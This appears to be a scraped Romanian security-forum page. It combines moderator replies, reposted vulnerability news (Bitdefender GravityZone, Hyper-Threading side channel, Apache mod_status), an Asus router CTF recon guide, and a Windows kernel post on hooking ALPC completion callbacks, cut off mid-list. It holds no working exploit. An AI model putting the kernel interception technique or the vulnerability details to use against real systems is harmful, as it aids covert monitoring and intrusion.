Nytro

https://code.google.com/p/torchat/

Sa te vad ca faci 10 reviewuri. Pana atunci, nici nu punem problema pentru a astfel de categorie, mai ales ca nu are legatura cu securitatea IT. Sunt ironic, nu incerca sa scrii pentru ca nu ai ce sa scrii la un "review de program". Si nu ajuta pe nimeni.

Cumpara niste pliculete. O sa vezi ca unele sunt chimicale pentru plante. E posibil sa apara ingredientele acolo.

Ca sa inteleaga toata lumea: nu facem categorii noi daca nu exista deja minim 100 de topicuri care s-ar incadra in acea categorie.

Nu am vazut NICIUN review pe aici. Deci nu.

Flaws found in Bitdefender enterprise endpoint manager Hardcoded GravityZone creds to be wiped at month's end By Darren Pauli, 17 Jul 2014 Holes have been reported in Bitdefender's Gravity end-point protection platform that allow hackers to target corporate infrastructure. Researcher Stefan Viehbock of SEC Consult Vulnerability Lab said the flaw affecting the latest version provided an entry point for attackers to move laterally through the network. "Attackers are able to completely compromise the Bitdefender GravityZone solution as they can gain system and database level access," Viehbock said in an advisory. "Furthermore attackers can manage all endpoints." Gravity contained three vulnerabilities, two of which were patched including an unauthenticated local file disclosure in the platforms' web console and update server that allowed attackers to read arbitrary files - including cleartext passwords - "from the filesystem with the privileges of the nginx operating system user." Bitdefender also patched missing authentication for particular scripts in the web user interface that granted attackers access to admin functions. A remaining flaw meant the MongoDB database could be accessed and configuration data altered using hardcoded username and password credentials that users could not change. The security vendor planned to patch the remaining flaw at the end of the month. Security researchers recommended customers stop using the platform until a patch was released and a "thorough security review" was performed by security pros.® Sursa: Flaws found in Bitdefender enterprise endpoint manager • The Register

Hyper-Threading Considered Harmful Hyper-Threading, as currently implemented on Intel Pentium Extreme Edition, Pentium 4, Mobile Pentium 4, and Xeon processors, suffers from a serious security flaw. This flaw permits local information disclosure, including allowing an unprivileged user to steal an RSA private key being used on the same machine. Administrators of multi-user systems are strongly advised to take action to disable Hyper-Threading immediately; single-user systems (i.e., desktop computers) are not affected. I presented details of how to exploit this security flaw at BSDCan 2005 in Ottawa on May 13th, 2005. For those who were unable to attend my talk, I have written a 12-page paper, Cache Missing for Fun and Profit, discussing this flaw and related problems, both realized and theoretical. Vendor statements The following statements have either been provided to me by vendors or quoted from vendor advisories: CVE: The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2005-0109 to the problem of information disclosure resulting from cache evictions in simultaneous multithreading processors. This is a candidate for inclusion in the CVE list, which standardizes names for security problems. FreeBSD: This issue affects FreeBSD/i386 and FreeBSD/amd64, and is addressed in advisory FreeBSD-SA-05:09.htt. NetBSD: The NetBSD Security-Officer Team believes that workarounds will be suitable for the majority of our users. Since this issue is a complex one, the 'right' solution will require a larger discussion which is only possible once this issue is public. This issue will be addressed in advisory NetBSD-SA2005-001, which will provide a list of workarounds for use until the 'final' conclusion is reached. OpenBSD: OpenBSD does not directly support hyperthreading at this time, therefore no patch is available. Affected users may disable hyperthreading in their system BIOS. We will revisit this issue when hyperthreading support is improved. RedHat: Updated OpenSSL packages that fix security issues are now available [...] The OpenSSL library has been patched to add a new fixed-window mod_exp implementation as default for RSA, DSA, and DH private-key operations. This patch is designed to mitigate cache timing and potentially related attacks.

Five Vulnerabilities Fixed in Apache Web Server by Dennis Fisher There are five vulnerabilities fixed in the latest release of the Apache Web server, including a buffer overflow and several denial-of-service vulnerabilities. Fixes for these flaws have landed in the developer release of the server, 2.4.10-dev. The buffer overflow vulnerability is rated moderate by the Apache Software Foundation, but it could be used for remote code execution under the right circumstances. The flaw lies in the way that Apache handles updating the mod_status component. It’s caused by a race condition, and an attacker can exploit it without authentication. “The specific flaw exists within the updating of mod_status. A race condition in mod_status allows an attacker to disclose information or corrupt memory with several requests to endpoints with handler server-status and other endpoints. By abusing this flaw, an attacker can possibly disclose credentials or leverage this situation to achieve remote code execution,” says the advisory from HP’s Zero Day Initiative, which reported the vulnerability to Apache on behalf of the researcher who discovered it, Marek Kroemeke. Apache’s advisory says that an attacker would need the right conditions in order to exploit this vulnerability. “An attacker able to access a public server status page on a server using a threaded MPM could send a carefully crafted request which could lead to a heap buffer overflow. Note that it is not a default or recommended configuration to have a public accessible server status page,” Apache’s advisory says. Along with the buffer overflow, there are four DoS vulnerabilities fixed in 2.4.10. Two of those vulnerabilities are rated important and the other two are considered moderate risks. Sursa: Five Vulnerabilities Fixed in Apache Web Server | Threatpost | The first stop for security news

[h=3]Hacking Asus RT-AC66U and Preparing for SOHOpelesslyBroken CTF[/h]So it's finally July, time to pack for DEFCON, follow @defconparties on Twitter and decide which villages to visit and which talks to attend. There's a new hacking competition this year called SOHOpelesslyBroken, presented by ISE and EFF. The objective on Track 0 is to demonstrate previously unidentified vulnerabilities in off-the-shelf consumer wireless routers. Track 1 will hold a live CTF for the duration of DEFCON. CTFs are always fun and this contest involves hacking real embedded devices, what makes it even more fun. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Yes, that's my workstation =P[/TD] [/TR] [/TABLE] I'm particularly interested on the EFF Open Wireless Router, but they didn't disclose details about the device yet. According to the event rules, the ASUS RT-AC66U (HW Ver. A2) [Version 3.0.0.4.266] is one of the possible targets. As I had a spare RT-AC66U at home, I decided to write a quick guide for everyone interested in participating in this competition CTF. recon The first thing to do is to find the firmware and its source code. Hopefully, Asus RT-AC66U is GPL'ed and we can easily find its source online. The version used for the contest is an old one, from 2012. In order to perform a better analysis, we are going to grab the sources and the firmware from v3.0.0.4.266 and v3.0.0.4.376.1123 (the most recent one as of this writing). Asus RT-AC66u v3.0.0.4.266 - Firmware Asus RT-AC66u v3.0.0.4.266 - Source Code Asus RT-AC66u v3.0.0.4.376.1123 - Firmware Asus RT-AC66u v3.0.0.4.376.1123 - Source Code Many firmware versions were published between these two releases, we can review the changelogs to find security issues: http://www.asus.com/Networking/RTAC66U/HelpDesk_Download According to the rules, we have to identify and exploit a 0-day vulnerability. We can combine different flaws with known issues in order to score points. If the vendor had silently patched an issue and you create an exploit for it, that should be scored as a valid 0-day (I'm not going to start discussing terminologies here). Now that we have the source code, it's time to extract and audit it: The CTF Field Guide from Trail of Bits has some good resources on Auditing Source Code. You can use tools like Beyond Compare, Araxis Merge and WinMerge on Windows platforms or Meld if you're more of a Linux user. Let's focus on the "/asuswrt/release/src/router/" directory, comparing these two folders using Meld: There are many security advisories for this router: if you want to find 0-days you should look for disclosed vulnerabilities and exploits to avoid duplicates (believe me, this is the hardest part). Some references: ASUS RT-AC66U Remote Root (Broadcom ACSD) ASUS RT-N66U Router - HTTPS Directory traversal and full file access and credential disclosure vuln Asus RT56U Remote Command Injection Taking over the ASUS RT-N56U and RT-AC66U Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate) OSVDB Points are deducted from your score if your exploits requires special system configurations and specific information. If you want to score lots of points, you should be targeting default services and processes. The USB application tab on the RT-AC66U allows the user to set up a series of services like FTP, DLNA, NFS and Samba: MiniDLNA is also a nice a target. It should be pretty easy to find vulns for the service using Zachary Cutlip's research, as he broke it multiple times. Another potentially vulnerable service is AiCloud: it links your home network to an online Web storage service and lets you access it through a mobile application: Articol complet: w00tsec: Hacking Asus RT-AC66U and Preparing for SOHOpelesslyBroken CTF

[h=2]ALPC monitoring[/h] Posted by zer0mem on July 15, 2014 Microsoft did nice work related to callback mechanism, to avoid nasty patching across kernel, and support monitoring in clean way. Currently we can use, among others, for example callbacks on loading new image, process, thread, opening & duplicating handles, dropping files etc. For monitoring network communication you can attach to some device drivers, which is cleaner than hooking, but still does not cover as much as i want to. And there comes ALPC, because even resolving host comes through, and when you are able to recognize it .. http://mba.shengwushibie.com/itbook/BookChapter.asp?id=28217 In april I attend awesome training at Syscan, training was led by Alex Ionescu. Among a lot of deep kernel stuffs, there was deeply covered ALPC mechanism, which is the point of this blog – post. Nice presentation about ALPC, which I really recommend to read : All about the RPC, LRPC, ALPC, and LPC in your PC starting with little windbg script : r? @$t6 = (nt!_LIST_ENTRY*)@@(nt!PsActiveProcessHead) .for (r? @$t7 = @$t6->Flink; (@$t6 != @$t7); r? @$t7 = @$t7->Flink) { r? @$t8 = #CONTAINING_RECORD(@$t7, nt!_EPROCESS, ActiveProcessLinks) r? @$t0 = (nt!_LIST_ENTRY*)@@(nt!AlpcpPortList) .for (r? @$t1 = @$t0->Flink; (@$t0 != @$t1); r? @$t1 = @$t1->Flink) { r? @$t2 = #CONTAINING_RECORD(@$t1, nt!_ALPC_PORT, PortListEntry) .if (@@(@$t8) == @@(@$t2->OwnerProcess)) { .if @@(@$t2->CommunicationInfo->ConnectionPort) { .printf /D "<link cmd=\"!alpc /p @$t2\">Server Port Info</link> <-> "; .printf /D "<link cmd=\"!alpc /p @@(@$t2->CommunicationInfo->ConnectionPort)\">Connection Port Info</link> | "; .printf "%10ma (%0.4x) <- ", @@(@$t2->OwnerProcess->ImageFileName), @@(@$t2->OwnerProcess->UniqueProcessId) .printf "%10ma (%0.4x)\n", @@(@$t2->CommunicationInfo->ConnectionPort->OwnerProcess->ImageFileName), @@(@$t2->CommunicationInfo->ConnectionPort->OwnerProcess->UniqueProcessId) .break } } } } .. that shows one interesting thing about ALPC, which I like at most : Server Port Info <-> Connection Port Info | svchost.exe (03f4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (0138) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (03f0) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | atieclxx.exe (048c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | svchost.exe (04e0) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | spoolsv.exe (058c) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (05a8) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | armsvc.exe (0610) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (062c) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | logonsetsvc.ex (0664) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | sqlwriter.exe (06d8) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (06ec) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | ThinkPadKBSvc. (0710) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | WLIDSVC.EXE (0738) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | logonset.exe (04a4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | WLIDSVCM.EXE (05f4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (0870) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | taskhost.exe (092c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | dwm.exe (098c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | explorer.exe (099c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | MainCpl.exe (0aa4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | osd.exe (0aac) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | unsecapp.exe (0b48) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | WmiPrvSE.exe (0bd8) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | wmpnetwk.exe (0bd4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (0c6c) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | chrome.exe (0ce8) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | Far.exe (0d08) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | conhost.exe (0d10) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (0d7c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (0e10) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | HScrollFun.exe (0f98) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | SetSpeed.exe (0fa4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | netsession_win (0fcc) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | flux.exe (0fd4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | AdobeARM.exe (083c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | netsession_win (0c5c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | sppsvc.exe (11f8) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | svchost.exe (1290) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | chrome.exe (0a14) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | taskhost.exe (11c4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | devenv.exe (0494) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (0134) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | TrustedInstall (0cd0) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | dllhost.exe (0cdc) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | chrome.exe (14e8) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | mscorsvw.exe (1760) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | mscorsvw.exe (17d4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | notepad.exe (1668) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | Far.exe (11b4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | conhost.exe (0238) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | SearchIndexer. (16cc) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | windbg.exe (008c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | wuauclt.exe (085c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | notepad.exe (1624) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | audiodg.exe (03c4) <- csrss.exe (0170) Server Port Info <-> Connection Port Info | vmmon64.exe (1434) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | VirtualBox.exe (0b1c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | VBoxSVC.exe (0b60) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | VirtualBox.exe (029c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | windbg.exe (0fc0) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | vcpkgsrv.exe (13e4) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | AcroRd32.exe (0a94) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | AcroRd32.exe (125c) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (0864) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (1414) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (1604) <- csrss.exe (01c8) Server Port Info <-> Connection Port Info | chrome.exe (11a0) <- csrss.exe (01c8) -> everyone like ALPC. And especially applications with network communication, because as was said at training, even gethostbyname ends up by calling some ALPC! So I think it is really good point to start at some object responsible for communication +0x000 TypeList : _LIST_ENTRY [ 0xffffe001`170b9e00 - 0xffffe001`170b9e00 ] +0x010 Name : _UNICODE_STRING "ALPC Port" +0x020 DefaultObject : 0x00000000`000000e1 Void +0x028 Index : 0x26 '&' +0x02c TotalNumberOfObjects : 0x3bc +0x030 TotalNumberOfHandles : 0x3ae +0x034 HighWaterNumberOfObjects : 0x4d1 +0x038 HighWaterNumberOfHandles : 0x4c0 +0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x0b8 TypeLock : _EX_PUSH_LOCK +0x0c0 Key : 0x43504c41 +0x0c8 CallbackList : _LIST_ENTRY [ 0xffffe001`170b9ec8 - 0xffffe001`170b9ec8 ] nd because nt!_ALPC_PORT is of nt!_OBJECT_TYPE it give us opportunity to attach to it by ObFiltering, and it seems it is really possible : But same time filtering objects come with some limitations! Operations OB_OPERATION_HANDLE_CREATE – A new process handle or thread handle was or will be opened. OB_OPERATION_HANDLE_DUPLICATE – A process handle or thread handle was or will be duplicated. Thats basically means, that we are theoretically able to get called at two mentioned HANDLE operations. Thats good, but wants to get more .. after some digging of nt!_ALPC_PORT it is possible to spot nice structure : nt!_ALPC_PORT +0x030 CompletionPacketLookaside : +0x038 Entry : [1] +0x000 ListEntry : _SINGLE_LIST_ENTRY +0x008 Packet : 0xffffe001`18a85150 _IO_MINI_COMPLETION_PACKET_USER +0x010 Lookaside : 0xffffe001`18ca16c0 _ALPC_COMPLETION_PACKET_LOOKASIDE lkd> dt 0xffffe001`18a85150 _IO_MINI_COMPLETION_PACKET_USER ntdll!_IO_MINI_COMPLETION_PACKET_USER +0x000 ListEntry : _LIST_ENTRY [ 0x00000000`00000000 - 0xffffe001`182c0658 ] +0x010 PacketType : 0x5c0004 +0x018 KeyContext : 0x000000f8`3daa8b20 Void +0x020 ApcContext : (null) +0x028 IoStatus : 0n0 +0x030 IoStatusInformation : 0 +0x038 MiniPacketCallback : 0xfffff801`75c6b61c void nt!AlpcpLookasidePacketCallbackRoutine+0 +0x040 Context : 0xffffe001`18ca16f8 Void +0x048 Allocated : 0x1 '' So lets take a look at some subset of nt function responsible for playing with alpc : lkd> x nt!nt*alpc*port fffff801`760b1e34 nt!NtAlpcCreatePort (<no parameter info>) fffff801`76059204 nt!NtAlpcAcceptConnectPort (<no parameter info>) fffff801`76055ab4 nt!NtAlpcDisconnectPort (<no parameter info>) fffff801`7602e3c0 nt!NtAlpcSendWaitReceivePort (<no parameter info>) fffff801`76074de8 nt!NtAlpcConnectPort (<no parameter info>) fffff801`75fe9030 nt!NtAlpcImpersonateClientOfPort (<no parameter info>) lkd> x nt!alpc*port fffff801`76056330 nt!AlpcpClosePort (<no parameter info>) fffff801`76093dc8 nt!AlpcpDispatchReplyToPort (<no parameter info>) fffff801`75feacd0 nt!AlpcpReferenceConnectedPort (<no parameter info>) fffff801`7605672c nt!AlpcpFlushMessagesPort (<no parameter info>) fffff801`75cebf3c nt!AlpcpQueueIoCompletionPort (<no parameter info>) fffff801`7605a140 nt!AlpcpInitializePort (<no parameter info>) fffff801`760592c8 nt!AlpcpAcceptConnectPort (<no parameter info>) fffff801`75f98d7c nt!AlpcpReferenceMessageByWaitingThreadPort (<no parameter info>) fffff801`760565c4 nt!AlpcpFlushResourcesPort (<no parameter info>) fffff801`76057f0c nt!AlpcpEnumerateResourcesPort (<no parameter info>) fffff801`7605a2f4 nt!AlpcpCreateClientPort (<no parameter info>) fffff801`760b1e98 nt!AlpcpCreateConnectionPort (<no parameter info>) fffff801`760a83f4 nt!AlpcpOpenPort (<no parameter info>) fffff801`76056bc4 nt!AlpcpDisconnectPort (<no parameter info>) fffff801`7605a888 nt!AlpcpSetOwnerProcessPort (<no parameter info>) fffff801`76055fe8 nt!AlpcpDestroyPort (<no parameter info>) fffff801`760756d8 nt!AlpcpConnectPort (<no parameter info>) fffff801`7606d144 nt!AlpcpAssociateIoCompletionPort (<no parameter info>) fffff801`76209900 nt!AlpcpLogClosePort (<no parameter info>) fffff801`76055d58 nt!AlpcpDeletePort (<no parameter info>) fffff801`7602c8e0 nt!AlpcpReceiveMessagePort (<no parameter info>) One good candidate to deeper look is NtAlpcSetInformation which call AlpcpInitializeCompletionList and it ends by calling IoAllocateMiniCompletionPacket - and this last routine can sound pretty familiar now! OK, but whats happening there ? It is another callback mechanism – *CompletionIo*, already described in Windows internals 6th edition, Part2 (I/O Completion Ports). And this callback mechanism is setup-ed by default as you have already seen to call nt!AlpcpLookasidePacketCallbackRoutine. It is obvious that it is possible to intercept mechanism by rewriting this callback, but this is not what we want to do … When we look at this default function, we can see how this callback mechanism work. nt!IoSetIoCompletionEx2 ends in nt!IoSetIoCompletionEx, and nt!AlpcpDeferredFreeCompletionPacketLookaside ends by calling nt!IoFreeMiniCompletionPacket per packet in queue. init : nt!IoAllocateMiniCompletionPacket registering : nt!IoSetIoCompletionEx free : nt!IoFreeMiniCompletionPacket NTKERNELAPI void NTAPI IoSetIoCompletionEx( __inout void* completitionPort, __in const void* keyContext, __in const void* apcContext, __in ULONG_PTR ioStatus, __in ULONG_PTR ioStatusInformation, __in bool allocPacketInfo, __in const void* ioMiniCoompletitionPacketUser ); and now how to setup own Callback packet : std::unique_ptr<void, decltype(&IoFreeMiniCompletionPacket)> m_pPacket( IoAllocateMiniCompletionPacket(MiniPacketCallbackInterceptor, this), IoFreeMiniCompletionPacket); ... bool StartIntercepting( __in _ALPC_PORT* alpcPort, __in void* keyContext ) { ... IoSetIoCompletionEx( alpcPort->CompletionPort, keyContext, nullptr, NULL, NULL, FALSE, m_pPacket); ... So now almost done, but one essential thing is missing – alpc port itself to attach .. and there exist some approaches how to find it : [h=3]!alpc /lpp[/h] kdexts.dll do it somehow, so here is the approach : … unfortunately nt!AlpcpPortList is not exported symbol, but its location is inside this ‘structure’ : one member of this structure which can be found quite easly is nt!AlpcPortObjectType, which is not directly exported, but fortunately for us nt!LpcPortObjectType is alias to it! And there is also another way to get it (not so comfortable) – querying it : auto obj_dir = RTL_CONSTANT_STRING(L"\\ObjectTypes");OBJECT_ATTRIBUTES objAttributes; InitializeObjectAttributes( &objAttributes, &obj_dir, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, nullptr); HANDLE h_dir; NTSTATUS status = ZwOpenDirectoryObject(&h_dir, DIRECTORY_QUERY, &objAttributes); if (!NT_SUCCESS(status)) return nullptr; OBJECT_DIRECTORY* object_dir; NTSTATUS status = ObReferenceObjectByHandle(h_dir, 0, 0, KernelMode, &object_dir, nullptr); if (!NT_SUCCESS(status)) return nullptr; for (size_t i = 0; i < _countof(object_dir->HashBuckets); i++) { for (OBJECT_DIRECTORY_ENTRY* dir_entry = object_dir->HashBuckets; dir_entry; dir_entry = dir_entry->ChainLink) { DbgPrint("\nObject : %ws", dir_entry->Object->Name.Buffer); if (!RtlCompareUnicodeString(&dir_entry->Object->Name, &objectName, TRUE)) return &dir_entry->Object; } } to successfully locate this structure, and port list itself, inside of ntoskrnl image just add additional checks of predicable values of some members of structure alongside with equality of value for nt!AlpcPortObjectType [h=3]ObFiltering[/h] Another option *should* be an official option, but in reallity … Ob Filters, and registering on nt!AlpcPortObjectType, mechanism is ready to use and it is already implemented in kernel! But you have some obstacles : nt!AlpcPortObjectType vs ObjectTypes Object : TmTm Object : Desktop Object : Process Object : DebugObject Object : TpWorkerFactory Object : Adapter Object : Token Object : EventPair Object : PcwObject Object : WmiGuid Object : EtwRegistration Object : Session Object : Timer Object : Mutant Object : IoCompletion Object : WindowStation Object : Profile Object : File Object : Semaphore Object : EtwConsumer a lot of object to query for, what are the object types of theirs ? kd> x nt!*objecttype fffff800`02871780 nt!TmResourceManagerObjectType = <no type information> fffff800`028fd5e0 nt!IoDeviceHandlerObjectType = <no type information> fffff800`028fc3a0 nt!ExMutantObjectType = <no type information> fffff800`028fc3a8 nt!ExTimerObjectType = <no type information> fffff800`028737e8 nt!ObpTypeObjectType = <no type information> fffff800`028737e0 nt!ObpDirectoryObjectType = <no type information> fffff800`028fc180 nt!IoDriverObjectType = <no type information> fffff800`028683e8 nt!ExpWorkerFactoryObjectType = <no type information> fffff800`028fc1d8 nt!IoCompletionObjectType = <no type information> fffff800`02867430 nt!EtwpRegistrationObjectType = <no type information> fffff800`028795f0 nt!MmSessionObjectType = <no type information> fffff800`028bd8a0 nt!LpcWaitablePortObjectType = <no type information> fffff800`02870450 nt!WmipGuidObjectType = <no type information> fffff800`028fc110 nt!MmSectionObjectType = <no type information> fffff800`028fc298 nt!ExEventPairObjectType = <no type information> fffff800`02a40ba0 nt!SepSetAuditInfoForObjectType (<no parameter info>) fffff800`028bd8a8 nt!LpcPortObjectType = <no type information> fffff800`02b91050 nt!CmKeyObjectType = <no type information> fffff800`028717a0 nt!TmTransactionObjectType = <no type information> fffff800`028fc6c8 nt!IoControllerObjectType = <no type information> fffff800`028682f8 nt!ExProfileObjectType = <no type information> fffff800`028fc0a0 nt!ExEventObjectType = <no type information> fffff800`028fc838 nt!IoAdapterObjectType = <no type information> fffff800`02868258 nt!ExpKeyedEventObjectType = <no type information> fffff800`02b91070 nt!SeTokenObjectType = <no type information> fffff800`02868760 nt!ExWindowStationObjectType = <no type information> fffff800`028fc398 nt!ExSemaphoreObjectType = <no type information> fffff800`0297bb54 nt!ObGetObjectType (<no parameter info>) fffff800`028fc048 nt!IoFileObjectType = <no type information> fffff800`028717a8 nt!TmEnlistmentObjectType = <no type information> fffff800`02867568 nt!EtwpRealTimeConnectionObjectType = <no type information> fffff800`028b9858 nt!AlpcPortObjectType = <no type information> fffff800`02871778 nt!TmTransactionManagerObjectType = <no type information> fffff800`026edb30 nt!SeComputeAutoInheritByObjectType (<no parameter info>) fffff800`02853f40 nt!DbgkDebugObjectType = <no type information> fffff800`028fc540 nt!IoDeviceObjectType = <no type information> fffff800`02ad55d0 nt!ObCreateObjectType (<no parameter info>) fffff800`028737d8 nt!ObpSymbolicLinkObjectType = <no type information> fffff800`02864e10 nt!PopPowerRequestObjectType = <no type information> fffff800`02868910 nt!ExCallbackObjectType = <no type information> fffff800`02868758 nt!ExDesktopObjectType = <no type information> and how many are officialy supported and exported for kernel dev ? extern POBJECT_TYPE *CmKeyObjectType; extern POBJECT_TYPE *IoFileObjectType; extern POBJECT_TYPE *ExEventObjectType; extern POBJECT_TYPE *ExSemaphoreObjectType; extern POBJECT_TYPE *TmTransactionManagerObjectType; extern POBJECT_TYPE *TmResourceManagerObjectType; extern POBJECT_TYPE *TmEnlistmentObjectType; extern POBJECT_TYPE *TmTransactionObjectType; extern POBJECT_TYPE *PsProcessType; extern POBJECT_TYPE *PsThreadType; extern POBJECT_TYPE *SeTokenObjectType; nt!AlpcPortObjectType is not between exported ones .. but still no such big deal, we can query it by object dir, as we already did in first approach. nt!_OBJECT_TYPE vs “ALPC Port” lkd> dt nt!_OBJECT_TYPE poi(nt!AlpcPortObjectType) -b +0x000 TypeList : _LIST_ENTRY [ 0xffffe001`170b9e00 - 0xffffe001`170b9e00 ] +0x000 Flink : 0xffffe001`170b9e00 +0x008 Blink : 0xffffe001`170b9e00 +0x010 Name : _UNICODE_STRING "ALPC Port" +0x000 Length : 0x12 +0x002 MaximumLength : 0x14 +0x008 Buffer : 0xffffc000`2c287190 "ALPC Port" +0x020 DefaultObject : 0x00000000`000000e1 +0x028 Index : 0x26 '&' +0x02c TotalNumberOfObjects : 0x3c4 +0x030 TotalNumberOfHandles : 0x3b7 +0x034 HighWaterNumberOfObjects : 0x4d1 +0x038 HighWaterNumberOfHandles : 0x4c0 +0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x000 Length : 0x78 +0x002 ObjectTypeFlags : 0x10 '' +0x002 CaseInsensitive : 0y0 +0x002 UnnamedObjectsOnly : 0y0 +0x002 UseDefaultObject : 0y0 +0x002 SecurityRequired : 0y0 +0x002 MaintainHandleCount : 0y1 +0x002 MaintainTypeList : 0y0 +0x002 SupportsObjectCallbacks : 0y0 +0x002 CacheAligned : 0y0 +0x004 ObjectTypeCode : 0 +0x008 InvalidAttributes : 0x80 +0x00c GenericMapping : _GENERIC_MAPPING +0x000 GenericRead : 0x20001 +0x004 GenericWrite : 0x10001 +0x008 GenericExecute : 0 +0x00c GenericAll : 0x1f0001 +0x01c ValidAccessMask : 0x1f0001 +0x020 RetainAccess : 0 +0x024 PoolType : 200 ( NonPagedPoolNx ) +0x028 DefaultPagedPoolCharge : 0 +0x02c DefaultNonPagedPoolCharge : 0x248 +0x030 DumpProcedure : (null) +0x038 OpenProcedure : 0xfffff801`760a83f4 +0x040 CloseProcedure : 0xfffff801`76056330 +0x048 DeleteProcedure : 0xfffff801`76055d58 +0x050 ParseProcedure : (null) +0x058 SecurityProcedure : 0xfffff801`75fe0e44 +0x060 QueryNameProcedure : (null) +0x068 OkayToCloseProcedure : (null) +0x070 WaitObjectFlagMask : 0 +0x074 WaitObjectFlagOffset : 0 +0x076 WaitObjectPointerOffset : 0 +0x0b8 TypeLock : _EX_PUSH_LOCK +0x000 Locked : 0y0 +0x000 Waiting : 0y0 +0x000 Waking : 0y0 +0x000 MultipleShared : 0y0 +0x000 Shared : 0y000000000000000000000000000000000000000000000000000000000000 (0) +0x000 Value : 0 +0x000 Ptr : (null) +0x0c0 Key : 0x43504c41 +0x0c8 CallbackList : _LIST_ENTRY [ 0xffffe001`170b9ec8 - 0xffffe001`170b9ec8 ] +0x000 Flink : 0xffffe001`170b9ec8 +0x008 Blink : 0xffffe001`170b9ec8 ehmm, callbacks disabled, but still we can patch it (as others up to win7 already did) PatchGuard from win8.1 no you can not patch it anymore! How To Ok, so no Ob filtering on “ALPC Port” is NOT allowed, yet! But still you know for what you looking for, so you can do it anyway, by walking trough list in appropriate moments and using first method void CAlpcMonitor::CreateImageNotify( __in_opt UNICODE_STRING* fullImageName, __in HANDLE processId, __in IMAGE_INFO* imageInfo ) { if (!imageInfo) return; auto proc = CProcessMonitor::GetInstance().ProcContainer().ObtainRef(processId); if (!proc.get()) return; if (!proc->IsNetworkProcess) return; CAutoLock<EX_PUSH_LOCK, CSharedLockWorker> lock(&CNt::GetInstance().AlpcInfo()->AlpcpPortListLock); for (auto port = CNt::GetInstance().AlpcInfo()->AlpcpPortList; port != CNt::GetInstance().AlpcInfo()->AlpcpPortListTail; port = CONTAINING_RECORD(port->PortListEntry.Flink, _ALPC_PORT, PortListEntry)) { if (!port->OwnerProcess) continue; if (processId != PsGetProcessId(port->OwnerProcess)) continue; InstallHook(port); } } And you can be even more specific while monitoring, because that communication with svchost, or other generic service, is not information bomb at all, but you can look at it through service names, which can be useful far more! service : PlugPlay service : Power service : DcomLaunch service : RpcEptMapper service : RpcSs service : eventlog service : AudioEndpointBuilder service : MMCSS service : AudioSrv service : CscService service : gpsvc service : ProfSvc service : Themes service : EventSystem service : SENS service : UxSms service : SamSs service : lmhosts service : nsi service : Dhcp service : Dnscache service 